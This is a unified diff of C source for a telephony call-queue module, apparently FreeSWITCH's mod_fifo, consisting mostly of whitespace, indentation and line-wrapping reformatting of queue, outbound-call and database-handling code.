||||
else if ( !consumer_exit_key && dtmf->digit == '*' ) {
|
||||
} else if (!consumer_exit_key && dtmf->digit == '*') {
|
||||
switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
|
||||
return SWITCH_STATUS_BREAK;
|
||||
} else if (dtmf->digit == '0') {
|
||||
@@ -228,8 +227,8 @@ static switch_status_t caller_read_frame_callback(switch_core_session_t *session
|
||||
args.buflen = sizeof(buf);
|
||||
|
||||
if (switch_ivr_play_file(session, NULL, cd->list[cd->index], &args) != SWITCH_STATUS_SUCCESS) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (caller_exit_key && *buf == *caller_exit_key) {
|
||||
cd->abort = 1;
|
||||
@@ -250,8 +249,8 @@ static switch_status_t consumer_read_frame_callback(switch_core_session_t *sessi
|
||||
{
|
||||
fifo_node_t *node, **node_list = (fifo_node_t **) user_data;
|
||||
int x = 0, total = 0, i = 0;
|
||||
|
||||
for (i = 0 ;; i++) {
|
||||
|
||||
for (i = 0;; i++) {
|
||||
if (!(node = node_list[i])) {
|
||||
break;
|
||||
}
|
||||
@@ -288,17 +287,19 @@ switch_cache_db_handle_t *fifo_get_db_handle(void)
|
||||
{
|
||||
switch_cache_db_connection_options_t options = { {0} };
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (!zstr(globals.odbc_dsn)) {
|
||||
options.odbc_options.dsn = globals.odbc_dsn;
|
||||
options.odbc_options.user = globals.odbc_user;
|
||||
options.odbc_options.pass = globals.odbc_pass;
|
||||
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
|
||||
dbh = NULL;
|
||||
return dbh;
|
||||
} else {
|
||||
options.core_db_options.db_path = globals.dbname;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
|
||||
dbh = NULL;
|
||||
return dbh;
|
||||
}
|
||||
}
|
||||
@@ -321,7 +322,7 @@ static switch_status_t fifo_execute_sql(char *sql, switch_mutex_t *mutex)
|
||||
status = switch_cache_db_execute_sql(dbh, sql, NULL);
|
||||
|
||||
end:
|
||||
|
||||
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
|
||||
if (mutex) {
|
||||
@@ -336,16 +337,16 @@ static switch_bool_t fifo_execute_sql_callback(switch_mutex_t *mutex, char *sql,
|
||||
switch_bool_t ret = SWITCH_FALSE;
|
||||
char *errmsg = NULL;
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (mutex) {
|
||||
switch_mutex_lock(mutex);
|
||||
}
|
||||
|
||||
if (!(dbh = fifo_get_db_handle())) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
|
||||
|
||||
if (errmsg) {
|
||||
@@ -429,7 +430,7 @@ static int node_idle_consumers(fifo_node_t *node)
|
||||
switch_mutex_unlock(node->mutex);
|
||||
|
||||
return total;
|
||||
|
||||
|
||||
}
|
||||
|
||||
static switch_status_t hanguphook(switch_core_session_t *session)
|
||||
@@ -441,9 +442,10 @@ static switch_status_t hanguphook(switch_core_session_t *session)
|
||||
|
||||
if (state == CS_HANGUP || state == CS_ROUTING) {
|
||||
if ((uuid = switch_channel_get_variable(channel, "fifo_outbound_uuid"))) {
|
||||
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
|
||||
(long)switch_epoch_time_now(NULL), uuid);
|
||||
|
||||
switch_snprintf(sql, sizeof(sql),
|
||||
"update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
|
||||
(long) switch_epoch_time_now(NULL), uuid);
|
||||
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
}
|
||||
switch_core_event_hook_remove_state_change(session, hanguphook);
|
||||
@@ -476,7 +478,7 @@ static void *SWITCH_THREAD_FUNC o_thread_run(switch_thread_t *thread, void *obj)
|
||||
switch_mutex_lock(globals.mutex);
|
||||
node = switch_core_hash_find(globals.fifo_hash, h->node_name);
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
|
||||
|
||||
if (node) {
|
||||
switch_mutex_lock(node->mutex);
|
||||
node->ring_consumer_count++;
|
||||
@@ -485,18 +487,20 @@ static void *SWITCH_THREAD_FUNC o_thread_run(switch_thread_t *thread, void *obj)
|
||||
|
||||
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count+1 where uuid='%s'", h->uuid);
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
|
||||
|
||||
switch_event_create(&ovars, SWITCH_EVENT_REQUEST_PARAMS);
|
||||
switch_assert(ovars);
|
||||
switch_event_add_header(ovars, SWITCH_STACK_BOTTOM, "originate_timeout", "%d", h->timeout);
|
||||
|
||||
if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
|
||||
(long)switch_epoch_time_now(NULL), h->uuid);
|
||||
|
||||
if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) !=
|
||||
SWITCH_STATUS_SUCCESS) {
|
||||
switch_snprintf(sql, sizeof(sql),
|
||||
"update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
|
||||
(long) switch_epoch_time_now(NULL), h->uuid);
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
|
||||
channel = switch_core_session_get_channel(session);
|
||||
|
||||
@@ -521,7 +525,8 @@ static void *SWITCH_THREAD_FUNC o_thread_run(switch_thread_t *thread, void *obj)
|
||||
switch_event_destroy(&ovars);
|
||||
if (node) {
|
||||
switch_mutex_lock(node->mutex);
|
||||
if (node->ring_consumer_count-- < 0) node->ring_consumer_count = 0;
|
||||
if (node->ring_consumer_count-- < 0)
|
||||
node->ring_consumer_count = 0;
|
||||
switch_mutex_unlock(node->mutex);
|
||||
}
|
||||
switch_core_destroy_memory_pool(&h->pool);
|
||||
@@ -538,7 +543,7 @@ static int place_call_callback(void *pArg, int argc, char **argv, char **columnN
|
||||
switch_threadattr_t *thd_attr = NULL;
|
||||
switch_memory_pool_t *pool;
|
||||
struct call_helper *h;
|
||||
|
||||
|
||||
switch_core_new_memory_pool(&pool);
|
||||
h = switch_core_alloc(pool, sizeof(*h));
|
||||
h->pool = pool;
|
||||
@@ -554,7 +559,7 @@ static int place_call_callback(void *pArg, int argc, char **argv, char **columnN
|
||||
switch_thread_create(&thread, thd_attr, o_thread_run, h, h->pool);
|
||||
|
||||
(*need)--;
|
||||
|
||||
|
||||
return *need ? 0 : -1;
|
||||
}
|
||||
|
||||
@@ -576,10 +581,10 @@ static void find_consumers(fifo_node_t *node)
|
||||
static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *obj)
|
||||
{
|
||||
fifo_node_t *node;
|
||||
|
||||
|
||||
globals.node_thread_running = 1;
|
||||
|
||||
while(globals.node_thread_running == 1) {
|
||||
while (globals.node_thread_running == 1) {
|
||||
switch_hash_index_t *hi;
|
||||
void *val;
|
||||
const void *var;
|
||||
@@ -588,21 +593,21 @@ static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *o
|
||||
switch_mutex_lock(globals.mutex);
|
||||
for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
|
||||
switch_hash_this(hi, &var, NULL, &val);
|
||||
if ((node = (fifo_node_t *) val)) {
|
||||
if (node->has_outbound && node->ready) {
|
||||
switch_mutex_lock(node->mutex);
|
||||
ppl_waiting = node_consumer_wait_count(node);
|
||||
consumer_total = node->consumer_count;
|
||||
idle_consumers = node_idle_consumers(node);
|
||||
if ((node = (fifo_node_t *) val)) {
|
||||
if (node->has_outbound && node->ready) {
|
||||
switch_mutex_lock(node->mutex);
|
||||
ppl_waiting = node_consumer_wait_count(node);
|
||||
consumer_total = node->consumer_count;
|
||||
idle_consumers = node_idle_consumers(node);
|
||||
|
||||
/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
|
||||
|
||||
if ((ppl_waiting - node->ring_consumer_count > 0)&& (!consumer_total || !idle_consumers)) {
|
||||
find_consumers(node);
|
||||
/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
|
||||
|
||||
if ((ppl_waiting - node->ring_consumer_count > 0) && (!consumer_total || !idle_consumers)) {
|
||||
find_consumers(node);
|
||||
}
|
||||
switch_mutex_unlock(node->mutex);
|
||||
}
|
||||
switch_mutex_unlock(node->mutex);
|
||||
}
|
||||
}
|
||||
}
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
@@ -611,7 +616,7 @@ static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *o
|
||||
}
|
||||
|
||||
globals.node_thread_running = 0;
|
||||
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -632,7 +637,7 @@ static int stop_node_thread(void)
|
||||
|
||||
if (globals.node_thread_running) {
|
||||
globals.node_thread_running = -1;
|
||||
while(globals.node_thread_running) {
|
||||
while (globals.node_thread_running) {
|
||||
switch_yield(500000);
|
||||
if (!--sanity) {
|
||||
return -1;
|
||||
@@ -643,15 +648,15 @@ static int stop_node_thread(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void check_cancel(fifo_node_t *node)
|
||||
static void check_cancel(fifo_node_t *node)
|
||||
{
|
||||
int ppl_waiting = node_consumer_wait_count(node);
|
||||
|
||||
|
||||
if (node->ring_consumer_count > 0 && ppl_waiting < 1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Outbound call count (%d) exceeds required value for queue %s (%d), "
|
||||
"Ending extraneous calls\n", node->ring_consumer_count, node->name, ppl_waiting);
|
||||
|
||||
|
||||
|
||||
|
||||
switch_core_session_hupall_matching_var("fifo_hangup_check", node->name, SWITCH_CAUSE_ORIGINATOR_CANCEL);
|
||||
}
|
||||
}
|
||||
@@ -735,12 +740,12 @@ static uint32_t fifo_add_outbound(const char *node_name, const char *url, uint32
|
||||
}
|
||||
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
|
||||
|
||||
str = switch_mprintf("dial:%s", url);
|
||||
switch_queue_push(node->fifo_list[priority], (void *) str);
|
||||
|
||||
|
||||
return switch_queue_size(node->fifo_list[priority]);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -769,16 +774,16 @@ SWITCH_STANDARD_API(fifo_add_outbound_function)
|
||||
|
||||
stream->write_function(stream, "%d", fifo_add_outbound(argv[0], argv[1], priority));
|
||||
|
||||
|
||||
free(data);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
free(data);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
fail:
|
||||
fail:
|
||||
|
||||
free(data);
|
||||
free(data);
|
||||
stream->write_function(stream, "0");
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
}
|
||||
|
||||
@@ -868,7 +873,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!(node = switch_core_hash_find(globals.fifo_hash, nlist[i]))) {
|
||||
node = create_node(nlist[i], importance, globals.sql_mutex);
|
||||
node->ready = 1;
|
||||
@@ -982,7 +987,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "FIFO-Slot", "%d", p);
|
||||
switch_event_fire(&event);
|
||||
}
|
||||
|
||||
|
||||
switch_queue_push(node->fifo_list[p], (void *) strdup(uuid));
|
||||
switch_snprintf(tmp, sizeof(tmp), "%d", switch_queue_size(node->fifo_list[p]));
|
||||
switch_channel_set_variable(channel, "fifo_position", tmp);
|
||||
@@ -1300,14 +1305,15 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
switch_call_cause_t cause = SWITCH_CAUSE_NONE;
|
||||
const char *o_announce = NULL;
|
||||
url = uuid + 5;
|
||||
|
||||
|
||||
if ((o_announce = switch_channel_get_variable(channel, "fifo_outbound_announce"))) {
|
||||
switch_ivr_play_file(session, NULL, o_announce, NULL);
|
||||
}
|
||||
|
||||
if (switch_ivr_originate(session, &other_session, &cause, url, 120, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
other_session = NULL;
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url, switch_channel_cause2str(cause));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url,
|
||||
switch_channel_cause2str(cause));
|
||||
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_channel_event_set_data(channel, event);
|
||||
@@ -1317,7 +1323,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
|
||||
switch_event_fire(&event);
|
||||
}
|
||||
|
||||
|
||||
} else {
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_channel_event_set_data(channel, event);
|
||||
@@ -1326,7 +1332,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Result", "success");
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
|
||||
switch_event_fire(&event);
|
||||
}
|
||||
}
|
||||
url = NULL;
|
||||
free(uuid);
|
||||
uuid = strdup(switch_core_session_get_uuid(other_session));
|
||||
@@ -1351,7 +1357,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
const char *record_template = switch_channel_get_variable(channel, "fifo_record_template");
|
||||
char *expanded = NULL;
|
||||
|
||||
|
||||
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_channel_event_set_data(channel, event);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
|
||||
@@ -1385,7 +1391,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
const char *app = switch_channel_get_variable(other_channel, "current_application");
|
||||
const char *arg = switch_channel_get_variable(other_channel, "current_application_data");
|
||||
switch_caller_extension_t *extension = NULL;
|
||||
|
||||
|
||||
switch_mutex_lock(node->mutex);
|
||||
node->caller_count--;
|
||||
switch_core_hash_delete(node->caller_hash, uuid);
|
||||
@@ -1454,7 +1460,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
switch_ivr_multi_threaded_bridge(session, other_session, on_dtmf, other_session, session);
|
||||
switch_core_media_bug_pause(session);
|
||||
switch_core_media_bug_pause(other_session);
|
||||
|
||||
|
||||
if (record_template) {
|
||||
switch_ivr_stop_record_session(session, expanded);
|
||||
if (expanded != record_template) {
|
||||
@@ -1487,7 +1493,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
fifo_consumer_wrapup_sound = switch_channel_get_variable(channel, "fifo_consumer_wrapup_sound");
|
||||
fifo_consumer_wrapup_key = switch_channel_get_variable(channel, "fifo_consumer_wrapup_key");
|
||||
sfifo_consumer_wrapup_time = switch_channel_get_variable(channel, "fifo_consumer_wrapup_time");
|
||||
if (!zstr(sfifo_consumer_wrapup_time)){
|
||||
if (!zstr(sfifo_consumer_wrapup_time)) {
|
||||
fifo_consumer_wrapup_time = atoi(sfifo_consumer_wrapup_time);
|
||||
} else {
|
||||
fifo_consumer_wrapup_time = 5000;
|
||||
@@ -1511,15 +1517,15 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
args.buflen = sizeof(buf);
|
||||
switch_ivr_play_file(session, NULL, fifo_consumer_wrapup_sound, &args);
|
||||
}
|
||||
|
||||
|
||||
if (fifo_consumer_wrapup_time) {
|
||||
wrapup_time_started = switch_micro_time_now();
|
||||
}
|
||||
|
||||
if (!zstr(fifo_consumer_wrapup_key) && strcmp(buf, fifo_consumer_wrapup_key)) {
|
||||
while(switch_channel_ready(channel)) {
|
||||
while (switch_channel_ready(channel)) {
|
||||
char terminator = 0;
|
||||
|
||||
|
||||
if (fifo_consumer_wrapup_time) {
|
||||
wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
|
||||
if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
|
||||
@@ -1529,14 +1535,15 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
}
|
||||
}
|
||||
|
||||
switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0, (uint32_t) wrapup_time_remaining);
|
||||
switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0,
|
||||
(uint32_t) wrapup_time_remaining);
|
||||
if ((terminator == *fifo_consumer_wrapup_key) || !(switch_channel_ready(channel))) {
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
} else if (fifo_consumer_wrapup_time && (zstr(fifo_consumer_wrapup_key) || !strcmp(buf, fifo_consumer_wrapup_key))) {
|
||||
while(switch_channel_ready(channel)) {
|
||||
while (switch_channel_ready(channel)) {
|
||||
wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
|
||||
if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
|
||||
break;
|
||||
@@ -1546,7 +1553,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
}
|
||||
switch_channel_set_variable(channel, "fifo_status", "WAITING");
|
||||
}
|
||||
|
||||
|
||||
if (do_wait && switch_channel_ready(channel)) {
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_channel_event_set_data(channel, event);
|
||||
@@ -1556,7 +1563,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_channel_event_set_data(channel, event);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
|
||||
@@ -1577,7 +1584,7 @@ SWITCH_STANDARD_APP(fifo_function)
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
if (node && node->ready == FIFO_DELAY_DESTROY && node->consumer_count == 0 && node->caller_count == 0) {
|
||||
@@ -1636,7 +1643,7 @@ static int xml_callback(void *pArg, int argc, char **argv, char **columnNames)
|
||||
switch_xml_set_attr_d(x_out, "outbound-call-count", argv[10]);
|
||||
switch_xml_set_attr_d(x_out, "outbound-fail-count", argv[11]);
|
||||
switch_xml_set_attr_d(x_out, "next-available", expires);
|
||||
|
||||
|
||||
switch_xml_set_txt_d(x_out, argv[2]);
|
||||
|
||||
return 0;
|
||||
@@ -1657,7 +1664,7 @@ static int xml_outbound(switch_xml_t xml, fifo_node_t *node, char *container, ch
|
||||
h.verbose = verbose;
|
||||
|
||||
fifo_execute_sql_callback(globals.sql_mutex, sql, xml_callback, &h);
|
||||
|
||||
|
||||
switch_safe_free(sql);
|
||||
|
||||
return h.cc_off;
|
||||
@@ -1736,7 +1743,7 @@ static void list_node(fifo_node_t *node, switch_xml_t x_report, int *off, int ve
|
||||
switch_xml_set_attr_d(x_fifo, "waiting_count", tmp);
|
||||
switch_snprintf(tmp, sizeof(buffer), "%u", node->importance);
|
||||
switch_xml_set_attr_d(x_fifo, "importance", tmp);
|
||||
|
||||
|
||||
cc_off = xml_outbound(x_fifo, node, "outbound", "member", cc_off, verbose);
|
||||
cc_off = xml_hash(x_fifo, node->caller_hash, "callers", "caller", cc_off, verbose);
|
||||
cc_off = xml_hash(x_fifo, node->consumer_hash, "consumers", "consumer", cc_off, verbose);
|
||||
@@ -1851,7 +1858,7 @@ SWITCH_STANDARD_API(fifo_api_function)
|
||||
}
|
||||
|
||||
|
||||
const char outbound_sql[] =
|
||||
const char outbound_sql[] =
|
||||
"create table fifo_outbound (\n"
|
||||
" uuid varchar(255),\n"
|
||||
" fifo_name varchar(255),\n"
|
||||
@@ -1861,19 +1868,14 @@ const char outbound_sql[] =
|
||||
" timeout integer,\n"
|
||||
" lag integer,\n"
|
||||
" next_avail integer,\n"
|
||||
" expires integer,\n"
|
||||
" static integer,\n"
|
||||
" outbound_call_count integer,"
|
||||
" outbound_fail_count integer,"
|
||||
" hostname varchar(255)\n"
|
||||
");\n";
|
||||
" expires integer,\n" " static integer,\n" " outbound_call_count integer," " outbound_fail_count integer," " hostname varchar(255)\n" ");\n";
|
||||
|
||||
|
||||
static switch_status_t load_config(int reload, int del_all)
|
||||
{
|
||||
char *cf = "fifo.conf";
|
||||
switch_xml_t cfg, xml, fifo, fifos, member, settings, param;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
char *sql;
|
||||
switch_bool_t delete_all_outbound_member_on_startup = SWITCH_FALSE;
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
@@ -1892,7 +1894,7 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
|
||||
var = (char *) switch_xml_attr_soft(param, "name");
|
||||
val = (char *) switch_xml_attr_soft(param, "value");
|
||||
|
||||
|
||||
if (!strcasecmp(var, "odbc-dsn") && !zstr(val)) {
|
||||
if (switch_odbc_available()) {
|
||||
globals.odbc_dsn = switch_core_strdup(globals.pool, val);
|
||||
@@ -1915,13 +1917,13 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
globals.dbname = "fifo";
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
if (!(dbh = fifo_get_db_handle())) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot open DB!\n");
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
switch_cache_db_test_reactive(dbh, "delete from fifo_outbound where static = 1", "drop table fifo_outbound", outbound_sql);
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
|
||||
@@ -1939,12 +1941,12 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
}
|
||||
|
||||
if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup) ) {
|
||||
if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup)) {
|
||||
sql = switch_mprintf("delete from fifo_outbound where hostname='%q'", globals.hostname);
|
||||
} else {
|
||||
sql = switch_mprintf("delete from fifo_outbound where static=1 and hostname='%q'", globals.hostname);
|
||||
}
|
||||
|
||||
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
switch_safe_free(sql);
|
||||
|
||||
@@ -1959,14 +1961,14 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
int timeout_i = 60;
|
||||
int lag_i = 10;
|
||||
fifo_node_t *node;
|
||||
|
||||
|
||||
name = switch_xml_attr(fifo, "name");
|
||||
|
||||
|
||||
if ((importance = switch_xml_attr(fifo, "importance"))) {
|
||||
if ((imp = atoi(importance)) < 0) {
|
||||
imp = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!name) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "fifo has no name!\n");
|
||||
@@ -1978,11 +1980,11 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
node = create_node(name, imp, globals.sql_mutex);
|
||||
}
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
|
||||
|
||||
switch_assert(node);
|
||||
|
||||
|
||||
switch_mutex_lock(node->mutex);
|
||||
|
||||
|
||||
for (member = switch_xml_child(fifo, "member"); member; member = member->next) {
|
||||
const char *simo = switch_xml_attr_soft(member, "simo");
|
||||
const char *lag = switch_xml_attr_soft(member, "lag");
|
||||
@@ -2007,12 +2009,12 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
lag_i = 10;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
name_dup = strdup(node->name);
|
||||
if ((p = strchr(name_dup, '@'))) {
|
||||
*p = '\0';
|
||||
}
|
||||
|
||||
|
||||
if (switch_stristr("origination_caller_id", member->txt)) {
|
||||
sql = switch_mprintf("insert into fifo_outbound "
|
||||
"(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, "
|
||||
@@ -2030,7 +2032,7 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
"'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
|
||||
"origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,0,0,1,0,0,'%q')",
|
||||
digest, node->name, node->name, name_dup, member->txt, simo_i, 0, timeout_i, lag_i, globals.hostname);
|
||||
|
||||
|
||||
}
|
||||
|
||||
switch_assert(sql);
|
||||
@@ -2038,14 +2040,14 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
free(sql);
|
||||
free(name_dup);
|
||||
node->has_outbound = 1;
|
||||
|
||||
|
||||
}
|
||||
node->ready = 1;
|
||||
node->is_static = 1;
|
||||
switch_mutex_unlock(node->mutex);
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s configured\n", node->name);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
switch_xml_free(xml);
|
||||
@@ -2057,7 +2059,7 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
void *val, *pop;
|
||||
fifo_node_t *node;
|
||||
switch_mutex_lock(globals.mutex);
|
||||
top:
|
||||
top:
|
||||
for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
|
||||
int x = 0;
|
||||
switch_hash_this(hi, NULL, NULL, &val);
|
||||
@@ -2076,7 +2078,7 @@ static switch_status_t load_config(int reload, int del_all)
|
||||
free(pop);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
switch_core_hash_delete(globals.fifo_hash, node->name);
|
||||
switch_core_hash_destroy(&node->caller_hash);
|
||||
switch_core_hash_destroy(&node->consumer_hash);
|
||||
@@ -2099,15 +2101,15 @@ static void fifo_member_add(char *fifo_name, char *originate_string, int simo_co
|
||||
char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
|
||||
char *sql, *name_dup, *p;
|
||||
fifo_node_t *node = NULL;
|
||||
|
||||
|
||||
switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
|
||||
|
||||
|
||||
sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q'", fifo_name, digest);
|
||||
switch_assert(sql);
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
free(sql);
|
||||
|
||||
|
||||
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
if (!(node = switch_core_hash_find(globals.fifo_hash, fifo_name))) {
|
||||
node = create_node(fifo_name, 0, globals.sql_mutex);
|
||||
@@ -2115,7 +2117,7 @@ static void fifo_member_add(char *fifo_name, char *originate_string, int simo_co
|
||||
}
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
|
||||
node->has_outbound = 1;
|
||||
node->has_outbound = 1;
|
||||
|
||||
name_dup = strdup(fifo_name);
|
||||
if ((p = strchr(name_dup, '@'))) {
|
||||
@@ -2128,13 +2130,12 @@ static void fifo_member_add(char *fifo_name, char *originate_string, int simo_co
|
||||
"values ('%q','%q',"
|
||||
"'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
|
||||
"origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')",
|
||||
